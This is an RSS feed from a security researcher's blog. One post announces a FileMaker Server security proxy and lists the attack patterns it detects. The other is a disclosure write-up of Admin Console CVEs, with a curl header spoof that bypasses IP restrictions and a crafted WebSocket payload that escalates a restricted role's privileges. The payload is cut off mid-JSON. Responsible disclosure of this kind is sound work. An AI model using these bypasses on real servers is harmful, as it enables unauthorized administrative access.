<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security on David Hamann</title><link>https://davidhamann.de/tags/security/</link><description>Recent content in Security on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Sat, 30 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/security/feed.xml" rel="self" type="application/rss+xml"/><item><title>FMProxy – A Security Proxy for FileMaker Server</title><link>https://davidhamann.de/2026/05/30/fmproxy-security-proxy-for-filemaker-server/</link><pubDate>Sat, 30 May 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/05/30/fmproxy-security-proxy-for-filemaker-server/</guid><description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; &lt;a href="https://fm-security.com"&gt;Alex Dubov&lt;/a&gt; and I just released the first public version of FMProxy, a security proxy for FileMaker Server. We are currently looking for beta testers. Want to try it out? Get your copy for Ubuntu Server &lt;a href="https://downloads.fmproxy.com/fmproxy-0.2.1-linux-x86_64-trial.tar.gz"&gt;x86_64&lt;/a&gt; or &lt;a href="https://downloads.fmproxy.com/fmproxy-0.2.1-linux-aarch64-trial.tar.gz"&gt;arm_64&lt;/a&gt;. Make sure to read the &lt;a href="https://downloads.fmproxy.com/fmproxy-trial-docs-0.2.1.pdf"&gt;trial docs (pdf)&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="introduction-and-research-background"&gt;Introduction and Research background&lt;/h2&gt;
&lt;p&gt;In the last few years, &lt;a href="https://fm-security.com"&gt;Alex Dubov&lt;/a&gt; and I have independently been researching the security of the FileMaker platform.&lt;/p&gt;
&lt;p&gt;We both reported bugs directly to Claris and via the Apple Bug Bounty program.&lt;/p&gt;
&lt;p&gt;While these reports led to fixes/improvements in the product, the full timeline – from discovery through reporting, validation, release, and eventual installation on customer servers – was often stretched over many months.&lt;/p&gt;
&lt;p&gt;Early last year, during the discovery of more security-relevant issues, we teamed up to see if we can not only do the security research but also directly work on a solution ourselves.&lt;/p&gt;
&lt;p&gt;The idea was to build a tool that would continuously analyze traffic to detect current threats, even before official patches for certain vulnerabilities were being provided. And on top of that, give administrators more visibility into connecting clients and their configurations/fingerprints.&lt;/p&gt;
&lt;p&gt;At the Vienna Calling conference in June 2025 (yes, nearly a year ago – things take a while ;-)), we demonstrated a few newly discovered vulnerabilities in the latest version of FileMaker Server (denial of service, session hijacking and privilege escalation) and showed a preview of the proxy server we developed, which could detect – and in some cases prevent – exploitation of known and yet to be discovered vulnerabilities.&lt;/p&gt;
&lt;p&gt;At the time, it was just a proof-of-concept on our local machines. We used the time since then to develop the proxy server to a point where it can now be easily installed and reliably run next to FileMaker Server on Ubuntu Linux.&lt;/p&gt;
&lt;p&gt;To understand what the proxy inspects, it helps to first look at how clients talk to the server.&lt;/p&gt;
&lt;h2 id="how-do-filemaker-clients-communicate-and-what-does-the-proxy-look-at"&gt;How do FileMaker clients communicate and what does the proxy look at?&lt;/h2&gt;
&lt;p&gt;FileMaker Pro and Go communicate with FileMaker Server using &lt;a href="https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture"&gt;CORBA&lt;/a&gt;&amp;rsquo;s GIOP (&lt;a href="https://en.wikipedia.org/wiki/General_Inter-ORB_Protocol"&gt;General Inter-ORB Protocol&lt;/a&gt;), usually wrapped in TLS.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s check briefly how the communication over this protocol works.&lt;/p&gt;
&lt;p&gt;Looking at a traffic capture of FileMaker Pro/Go to FileMaker Server, we can see that GIOP packets contain a header specifying the message type (such as &lt;code&gt;Request&lt;/code&gt; or &lt;code&gt;Reply&lt;/code&gt;), and a body with several data fields in accordance with that type. These fields carry, for example, the request id, operation and of course the actual payload data.&lt;/p&gt;
&lt;p&gt;The majority of packets you will see when observing FileMaker traffic are of the type &lt;code&gt;Request&lt;/code&gt; and &lt;code&gt;Reply&lt;/code&gt;, with the requests predominantly using the &lt;code&gt;Perform&lt;/code&gt; operation.&lt;/p&gt;
&lt;p&gt;A simple example:&lt;/p&gt;
&lt;p&gt;A FileMaker Pro client wants to retrieve account information (or record data or any other data) for a certain database hosted on a FileMaker Server. To request this data, it sends a GIOP packet with the &lt;code&gt;Request&lt;/code&gt; message type, &lt;code&gt;Perform&lt;/code&gt; operation, and some payload in a proprietary format to the server.&lt;/p&gt;
&lt;p&gt;This (unfortunately not publicly documented) payload contains, amongst other data, a session ID (also see Alex&amp;rsquo;s &lt;a href="https://fm-security.com/posts/bypass_auth/"&gt;authentication bypass article&lt;/a&gt;), a command instructing the server to return specific data, and a location described as a hierarchical path to a data structure in the hosted database file (in this example a location where account information is stored). This path structure is the same as you would find in an fmp12 file (see &lt;a href="https://davidhamann.de/2024/06/17/how-does-filemaker-store-passwords/"&gt;my analysis of the format here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;img alt="GIOP request" loading="lazy" src="https://davidhamann.de/images/giop-request.png"&gt;
&lt;div class="notice notice-info"&gt;
 &lt;ul&gt;
&lt;li&gt;12 00 00 00 = Request ID 18&lt;/li&gt;
&lt;li&gt;50 65 72 66 6f 72 6d = Perform (0x50 = ascii &amp;ldquo;P&amp;rdquo;, 0x65 = ascii &amp;ldquo;e&amp;rdquo;, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;Get data at path: 0x17, 0x01, 0x05, 0x02 (where 0x02 is the account ID)&lt;/li&gt;
&lt;/ul&gt;

&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;The server will then answer (assuming the request was valid and the client authenticated) with a &lt;code&gt;Reply&lt;/code&gt; packet containing the data at the requested path. In the case of a user account this data contains fields for name, privilege set, etc. and can be parsed as described in the fmp12 file format post linked above.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;img alt="GIOP reply" loading="lazy" src="https://davidhamann.de/images/giop-reply.png"&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;ul&gt;
&lt;li&gt;12 00 00 00 = Request ID 18 (matches this reply to the request)&lt;/li&gt;
&lt;li&gt;00 00 00 00 = Status -&amp;gt; No Exception&lt;/li&gt;
&lt;li&gt;d0 00 00 00 = Length of message (208 bytes)&lt;/li&gt;
&lt;li&gt;80 06 04 10 = NOP, 06 = code for key-value type, key 04, length 0x10 (16), some value&lt;/li&gt;
&lt;li&gt;06 10 05 1b 3e 37 33 34 = type 06, key 0x10 (16), length 5, value = admin ^ 0x5a&lt;/li&gt;
&lt;/ul&gt;

&lt;/div&gt;

&lt;h2 id="what-can-we-do-with-this-knowledge-and-where-does-fmproxy-fit-in"&gt;What can we do with this knowledge and where does FMProxy fit in?&lt;/h2&gt;
&lt;p&gt;The idea behind FMProxy is that all this data flowing between server and clients is continuously analyzed to give you more information about who is connecting to your server with what kind of client setup (e.g. version, serial number, operating system), and to alert you if there are unusual/suspicious patterns appearing in the network traffic.&lt;/p&gt;
&lt;p&gt;FMProxy runs on the same host as FileMaker Server and listens on the default port which FileMaker clients connect to (5003/tcp). To avoid conflicts, the FileMaker Server installation is modified to listen on another port.&lt;/p&gt;
&lt;p&gt;Once a client connects to the proxy server, the proxy does two things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A quick scan of the packet contents to decide if there is any critical issue which should lead to a termination of the connection (a known DoS payload should never reach the FileMaker Server)&lt;/li&gt;
&lt;li&gt;If no severe issue is detected in the fast scan, we pass the packet contents to a separate task for deeper analysis while at the same time forwarding it to the target FileMaker Server.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Step 2 is implemented in this way such that it doesn&amp;rsquo;t couple the analysis overhead with the forwarding of the packet to FileMaker Server, to keep the latency penalty low.&lt;/p&gt;
&lt;p&gt;Should the deeper analysis detect any issues (this is mostly unrelated to specific vulnerabilities, but rather a scan for unusual patterns such as a non-&amp;ldquo;Full Access&amp;rdquo; account accessing data it shouldn&amp;rsquo;t have access to), then these cases are logged to a file for further investigation by the server administrator. The logs would typically be forwarded to a central log server with alerting rules.&lt;/p&gt;
&lt;p&gt;FMProxy generally tries to only do a minimum set of actions before forwarding data to FileMaker Server and the clients to not cause any interference with regular client-server communications (after all it&amp;rsquo;s a proprietary protocol and we want to keep traffic unchanged if at all possible). In very few cases we do have to rewrite parts of a packet to make the whole proxy setup feasible.&lt;/p&gt;
&lt;h2 id="what-can-fmproxy-actually-detect"&gt;What can FMProxy actually detect?&lt;/h2&gt;
&lt;p&gt;Besides access logging, FMProxy currently has detection capabilities that log the following security events. The majority of them don&amp;rsquo;t focus on specific vulnerabilities, but rather on detecting patterns indicating authorization issues that could be a &lt;em&gt;result&lt;/em&gt; of all kinds of vulnerabilities (known or not yet known).&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Event ID&lt;/th&gt;
 &lt;th&gt;Description&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0001&lt;/td&gt;
 &lt;td&gt;Detection of a request with an unknown session ID. Repeated events of this kind could be an indication of session ID brute-forcing.&lt;br/&gt;&lt;br/&gt;Session IDs are given out by the server when a client connects (before authentication). If a session ID for an already authenticated client is &amp;ldquo;guessed&amp;rdquo; by brute-force, it can allow an attacker to hijack that session and perform actions on behalf of the authenticated client.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0002&lt;/td&gt;
 &lt;td&gt;Detection of a client downloading or attempting to download data from a database which is not part of the session used to initiate the download (i.e. no authentication was performed for this database during this session).&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0003&lt;/td&gt;
 &lt;td&gt;Detection of a client downloading or attempting to download a list of all scripts with an unauthenticated account.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0004&lt;/td&gt;
 &lt;td&gt;Detection of a client downloading or attempting to download a list of all scripts with a non-&amp;ldquo;Full Access&amp;rdquo; account. This is benign if the authenticated account is not a Full Access account but has the permissions to modify scripts.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0005&lt;/td&gt;
 &lt;td&gt;Detection of a client downloading or attempting to download data from a specific database without the corresponding account being authenticated.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0006&lt;/td&gt;
 &lt;td&gt;Detection of a client accessing account information for an account other than self while the proxy has insufficient information about the privilege set / permissions of the authenticated account.&lt;br&gt;&lt;br&gt;With data going over the wire the proxy builds a representation of the privileges for different accounts. When a request is made to download data for another account, this representation is in most cases sufficient to judge if it&amp;rsquo;s a legit request or not. This event will be raised if the information is incomplete to judge the legitimacy of the request.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0007&lt;/td&gt;
 &lt;td&gt;Detection of a client accessing account information for an account other than self while being authenticated but not having Full Access privileges.&lt;br&gt;&lt;br&gt;This message is benign if a non-Full Access account is configured with permissions to manage other accounts.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0008&lt;/td&gt;
 &lt;td&gt;Detection of a client connecting with a persistent ID which is not present in the list of trusted clients.&lt;br&gt;&lt;br&gt;This event can only appear if the proxy was started with a list of trusted clients.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0009&lt;/td&gt;
 &lt;td&gt;Detection of a client connecting with an invalid persistent ID. This could be an indicator of an attacker using a crafted payload using a custom tool. FileMaker clients will always connect with a valid ID.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0010&lt;/td&gt;
 &lt;td&gt;Detection of a failed login. This event is always logged when a login fails (e.g. wrong account name / password combination).&lt;br&gt;&lt;br&gt;When automatic logins are configured, you might see this event appearing before a login prompt is shown to a user.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0011&lt;/td&gt;
 &lt;td&gt;Detection of known payloads that will crash FileMaker server (denial of service) due to memory issues.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0012&lt;/td&gt;
 &lt;td&gt;Detection of successful login.&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;SEC-0013&lt;/td&gt;
 &lt;td&gt;Detection of non-FileMaker traffic on the listening port. This event will occur more frequently on public servers which experience probing traffic (bots trying to check for open ports and analyze what software is running).&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="want-to-get-your-hands-on-the-first-version"&gt;Want to get your hands on the first version?&lt;/h2&gt;
&lt;p&gt;If you would like to try out FMProxy in your own lab setup, you can get your copy for Ubuntu Server &lt;a href="https://downloads.fmproxy.com/fmproxy-0.2.1-linux-x86_64-trial.tar.gz"&gt;x86_64&lt;/a&gt; or &lt;a href="https://downloads.fmproxy.com/fmproxy-0.2.1-linux-aarch64-trial.tar.gz"&gt;arm_64&lt;/a&gt;. If you would rather test on macOS or Windows, let us know – we have working versions but not a fully automated setup yet. For more information and installation and configuration instructions, please refer to the &lt;a href="https://downloads.fmproxy.com/fmproxy-trial-docs-0.2.1.pdf"&gt;trial docs (pdf)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The current builds expire every 60 days, so if you would like to follow the progress, just &lt;a href="mailto:support@fmproxy.com"&gt;send us an email&lt;/a&gt; and we keep you in the loop for new versions and later potential commercial options.&lt;/p&gt;</description></item><item><title>FileMaker Server Admin Console: Access and Role Restriction Issues</title><link>https://davidhamann.de/2024/10/09/fms-bypassing-restrictions/</link><pubDate>Wed, 09 Oct 2024 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2024/10/09/fms-bypassing-restrictions/</guid><description>&lt;p&gt;With a few security features added to the FileMaker Server Admin Console in the last few versions, I decided to play around with them to see how they are implemented.&lt;/p&gt;
&lt;p&gt;In this article I want to highlight three of the issues I found last year (2023) and subsequently reported to Claris/Apple.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Until version FileMaker Server version 21.0.1 you can bypass the IP restricions and until version 20.3.1 no administrator role privileges are respected on the server (every role can upgrade itself to all privileges). The latter issue remains only partially fixed.&lt;/p&gt;
&lt;h2 id="access-restriction-bypass-cve-2024-40768"&gt;Access restriction bypass (CVE-2024-40768)&lt;/h2&gt;
&lt;p&gt;The FileMaker Server Admin Console can be configured to only allow access from certain IP addresses (in addition to the loopback address).&lt;/p&gt;
&lt;p&gt;If I remember correctly, this restriction was originally enforced via the configuration of the web server (IIS/Apache/nginx) but was then moved to be part of the Admin Console application itself (handling and configuring).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Configuring access restrictions" loading="lazy" src="https://davidhamann.de/images/fms-ip-access-restriction.png"&gt;&lt;/p&gt;
&lt;p&gt;The issue with the implementation up until 21.0.1 is that the application blindly trusts the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header to determine the IP address.&lt;/p&gt;
&lt;p&gt;This can be fine, for example if the web server / reverse proxy is actually configured to overwrite any &lt;code&gt;X-Forwarded-For&lt;/code&gt; header of incoming requests with its own IP address and/or the source IP (chained).&lt;/p&gt;
&lt;p&gt;However, in a default FileMaker Server installation, this is not the case, rendering the access restriction useless as anyone can send their own &lt;code&gt;X-Fowarded-For&lt;/code&gt; header which is guaranteed to arrive at and to be parsed by the Admin Console application.&lt;/p&gt;
&lt;p&gt;Just setting the header to 127.0.0.1 will always give you access, independent of the access restriction settings that have been configured.&lt;/p&gt;
&lt;p&gt;Example without custom header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ curl https://your-server.example/admin-console
Your machine (1.2.3.4) does not have access to the FileMaker Server Admin Console. Please contact the server administrator for help.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Example with custom header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ curl -H &amp;#39;X-Forwarded-For: 127.0.0.1&amp;#39; https://your-server.example/admin-console
&amp;lt;html&amp;gt;
...
login page
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In case you are wondering if this applies to any specific platform: it does not. Since the application handles the restriction, it works the same on Windows, Linux and macOS (haven&amp;rsquo;t tested on macOS but I&amp;rsquo;m almost certain it works).&lt;/p&gt;
&lt;h2 id="administrator-role-restriction-bypass-cve-2023-42954--passwords-being-sent-to-client-cve-2023-42955"&gt;Administrator Role restriction bypass (CVE-2023-42954) &amp;amp; passwords being sent to client (CVE-2023-42955)&lt;/h2&gt;
&lt;p&gt;Since FileMaker Server 19.6.1 it is possible to configure so called &amp;ldquo;Adminstrator Roles&amp;rdquo; via the Admin Console. The feature is described in the release notes as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Administrator roles allow you to administer a subset of available databases using a distinct username and password and with a chosen subset of privileges.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="Configuring Administrator Roles" loading="lazy" src="https://davidhamann.de/images/fms-admin-roles.png"&gt;&lt;/p&gt;
&lt;p&gt;If we look at the traffic the Admin Console produces after login, we quickly realize that a lot of the communication happens via WebSockets.&lt;/p&gt;
&lt;p&gt;The Admin Console makes use of the Socket.IO library, so when looking at the exchanged messages, we will see a little bit of meta data for each event (such as the type of a packet).&lt;/p&gt;
&lt;p&gt;Additionally, since long-polling (POST request for sending, GET request which is held on for some time until there&amp;rsquo;s something to return) is supported as a fallback (when WebSockets are not available), we might also see some HTTP requests/responses in the same format.&lt;/p&gt;
&lt;p&gt;After logging into the Admin Console, the first Socket.IO related request is for the handshake. It looks something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /socket.io/?EIO=4&amp;amp;transport=polling&amp;amp;t=1234 HTTP/2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The response includes a session ID (and a hint that we could upgrade to WebSockets for communication):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0{&amp;#34;sid&amp;#34;:&amp;#34;Dq4roeq9GwwF5aLEAAAC&amp;#34;,&amp;#34;upgrades&amp;#34;:[&amp;#34;websocket&amp;#34;],&amp;#34;pingInterval&amp;#34;:25000,&amp;#34;pingTimeout&amp;#34;:20000,&amp;#34;maxPayload&amp;#34;:1000000}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using this session ID, the client can then connect and start sending/receiving messages (via any of the supported transports).&lt;/p&gt;
&lt;p&gt;In the case of the Admin Console, the next request contains a JSON Web Token, previously obtained by the login (regular POST to &lt;code&gt;POST /fmi/admin/internal/v1/user/login&lt;/code&gt;), for authentication:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;POST /socket.io/?EIO=4&amp;amp;transport=polling&amp;amp;t=1234&amp;amp;sid=Dq4roeq9GwwF5aLEAAAC HTTP/2

40{&amp;#34;token&amp;#34;:&amp;#34;some base64 encoded JWT&amp;#34;}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;40&lt;/code&gt; in the beginning is meta data (&lt;a href="https://github.com/socketio/socket.io-protocol#exchange-protocol"&gt;&amp;ldquo;message&amp;rdquo; packet type identifier&lt;/a&gt;, with &lt;a href="https://github.com/socketio/socket.io-protocol#exchange-protocol"&gt;&amp;ldquo;CONNECT&amp;rdquo; action&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The server responds with an &lt;code&gt;ok&lt;/code&gt; and afterwards &amp;ldquo;regular&amp;rdquo; event messages are being exchanged (and optionally the transport is changed to WebSockets).&lt;/p&gt;
&lt;p&gt;In the case of the Admin Console, several messages are sent right away to acquire all the data for the frontend to display. This is can be anything from available databases, to configuration data, to server usage information.&lt;/p&gt;
&lt;p&gt;The part we are interested in for the Adminitrator Roles is the following event sent to the client: &lt;code&gt;EVENT_ADMIN_ROLE_LIST&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It contains information about all the roles that are configured, and looks something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;42[&amp;#34;EVENT_ADMIN_ROLE_LIST&amp;#34;,[{&amp;#34;privileges&amp;#34;:[],&amp;#34;db_pri&amp;#34;:false,&amp;#34;sched_pri&amp;#34;:false,&amp;#34;sched_backup_pri&amp;#34;:false,&amp;#34;sched_verify_pri&amp;#34;:false,&amp;#34;sched_script_pri&amp;#34;:false,&amp;#34;log_pri&amp;#34;:false,&amp;#34;password&amp;#34;:&amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,&amp;#34;xauthGroup&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;homeFolder&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/&amp;#34;,&amp;#34;dbFolderPath&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,&amp;#34;dbSubFolderName&amp;#34;:&amp;#34;restricted&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;restricted_access&amp;#34;,&amp;#34;id&amp;#34;:1693575613430,&amp;#34;confirmpassword&amp;#34;:&amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;},{&amp;#34;privileges&amp;#34;:[&amp;#34;DATABASE_MANAGEMENT&amp;#34;],&amp;#34;db_pri&amp;#34;:true,&amp;#34;sched_pri&amp;#34;:false,&amp;#34;sched_backup_pri&amp;#34;:false,&amp;#34;sched_verify_pri&amp;#34;:false,&amp;#34;sched_script_pri&amp;#34;:false,&amp;#34;log_pri&amp;#34;:false,&amp;#34;password&amp;#34;:&amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;,&amp;#34;xauthGroup&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;homeFolder&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,&amp;#34;dbFolderPath&amp;#34;:&amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,&amp;#34;dbSubFolderName&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;name&amp;#34;:&amp;#34;another_role&amp;#34;,&amp;#34;id&amp;#34;:1693575900936,&amp;#34;confirmpassword&amp;#34;:&amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;}]]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cutting off the meta data (this time with &lt;code&gt;2&lt;/code&gt; for &lt;code&gt;EVENT&lt;/code&gt;) and formatting the message, it looks like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[
 &amp;#34;EVENT_ADMIN_ROLE_LIST&amp;#34;,
 [
 {
 &amp;#34;privileges&amp;#34;: [],
 &amp;#34;db_pri&amp;#34;: false,
 &amp;#34;sched_pri&amp;#34;: false,
 &amp;#34;sched_backup_pri&amp;#34;: false,
 &amp;#34;sched_verify_pri&amp;#34;: false,
 &amp;#34;sched_script_pri&amp;#34;: false,
 &amp;#34;log_pri&amp;#34;: false,
 &amp;#34;password&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;restricted&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;restricted_access&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575613430,
 &amp;#34;confirmpassword&amp;#34;: &amp;#34;$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0&amp;#34;
 },
 {
 &amp;#34;privileges&amp;#34;: [
 &amp;#34;DATABASE_MANAGEMENT&amp;#34;
 ],
 &amp;#34;db_pri&amp;#34;: true,
 &amp;#34;sched_pri&amp;#34;: false,
 &amp;#34;sched_backup_pri&amp;#34;: false,
 &amp;#34;sched_verify_pri&amp;#34;: false,
 &amp;#34;sched_script_pri&amp;#34;: false,
 &amp;#34;log_pri&amp;#34;: false,
 &amp;#34;password&amp;#34;: &amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;,
 &amp;#34;xauthGroup&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;homeFolder&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,
 &amp;#34;dbFolderPath&amp;#34;: &amp;#34;filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/&amp;#34;,
 &amp;#34;dbSubFolderName&amp;#34;: &amp;#34;&amp;#34;,
 &amp;#34;name&amp;#34;: &amp;#34;another_role&amp;#34;,
 &amp;#34;id&amp;#34;: 1693575900936,
 &amp;#34;confirmpassword&amp;#34;: &amp;#34;$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm&amp;#34;
 }
 ]
]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first oddity I noticed is that the whole array of all admin roles is sent to the client, regardless of the login session.&lt;/p&gt;
&lt;p&gt;This means that we can login as any role and always get all role data (we &lt;em&gt;do&lt;/em&gt; have to login, though 🤓).&lt;/p&gt;
&lt;p&gt;This may or may not be an issue, but sending the passwords for all roles all the time (even if not in plaintext) is not great.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 When I looked at the administrator roles initially, I tested it with FileMaker Server 19.6.1. Here, the passwords were indeed sent in plaintext (for all groups)! So the message looked something like: &lt;code&gt;[&amp;quot;privileges&amp;quot;: [],&amp;quot;db_pri&amp;quot;: false, &amp;lt;snip&amp;gt;&amp;quot;confirmpassword&amp;quot;: &amp;quot;very_secret&amp;quot;}]&lt;/code&gt;. This is not the case in 20.1.2 anymore, though.
&lt;/div&gt;

&lt;p&gt;Apart from the password information that is still being shipped to the client, it might not be too big of a deal to be able to get information about the existence of other roles.&lt;/p&gt;
&lt;p&gt;However, if we get all this info back from the server, is the server actually checking what role and privileges a user has?&lt;/p&gt;
&lt;p&gt;Since we understand how messages are exchanged between server and client, we can easily test this out.&lt;/p&gt;
&lt;p&gt;If we want to open a database file via the Admin Console, a message like this is sent to the server:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;42[&amp;#34;EVENT_DB_ACTION_REQUEST&amp;#34;,{&amp;#34;type&amp;#34;:&amp;#34;open&amp;#34;,&amp;#34;id&amp;#34;:&amp;#34;2&amp;#34;,&amp;#34;params&amp;#34;:{}}]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we login with a restricted role and try to send this message for a database which we shouldn&amp;rsquo;t have access to (based on the &amp;ldquo;Role folder&amp;rdquo; when configuring the Administrator Roles), the database still opens.&lt;/p&gt;
&lt;p&gt;Additionally, our role does not even need to have the &amp;ldquo;Database Privilege&amp;rdquo; turned on.&lt;/p&gt;
&lt;p&gt;We can do any database operation on any database no matter what our role settings indicate. In fact, any event I tested was successfully processed (also other settings that can be allowed or not allowed - like viewing logs).&lt;/p&gt;
&lt;p&gt;So it seems that the server is only checking whether we have an authenticated session, not what privileges the role associated with that session has.&lt;/p&gt;
&lt;p&gt;The Admin Console frontend, however, gives the impression that everything is locked down. It knows what privileges a user has – the server sends that information right at the beginning. But the server seems to fully trust that every message sent to it is legit.&lt;/p&gt;
&lt;p&gt;Trusting the frontend, that is essentially under control of the user, is the problem here.&lt;/p&gt;
&lt;p&gt;If a user with limited privileges wouldn&amp;rsquo;t want to go through the hassle of crafting their own custom message anytime (as the frontend doesn&amp;rsquo;t display the actions that you shouldn&amp;rsquo;t be able to perform), they can just give themselves all privileges and access to all databases via another WebSocket event: &lt;code&gt;EVENT_ADMIN_ROLE_UPDATE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sending a modified admin role configuration using this event is equally accepted by the server.&lt;/p&gt;
&lt;p&gt;So we could send something like the following to assign ourselves (as a restricted administrator role) all the privileges and remove the folder restriction:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{
 &amp;#34;AdminRolejson&amp;#34;: {
 &amp;#34;groups&amp;#34;: [
 {
 &amp;#34;privileges&amp;#34;: [
 &amp;#34;DATABASE_MANAGEMENT&amp;#34;,
 &amp;#34;SCHEDULE_MANAGEMENT&amp;#34;,
 &amp;#34;SCHEDULE_BACKUP&amp;#34;,
 &amp;#34;SCHEDULE_VERIFY&amp;#34;,
 &amp;#34;SCHEDULE_SCRIPT&amp;#34;,
 &amp;#34;DIAGNOSTICS_VIEWING&amp;#34;
 ],
 &amp;#34;db_pri&amp;#34;: true,
 &amp;#34;sched_pri&amp;#34;: true,
 &amp;#34;sched_backup_pri&amp;#34;: true,
 &amp;#34;sched_verify_pri&amp;#34;: true,
 &amp;#34;sched_script_pri&amp;#34;: true,
 &amp;#34;log_pri&amp;#34;: true,
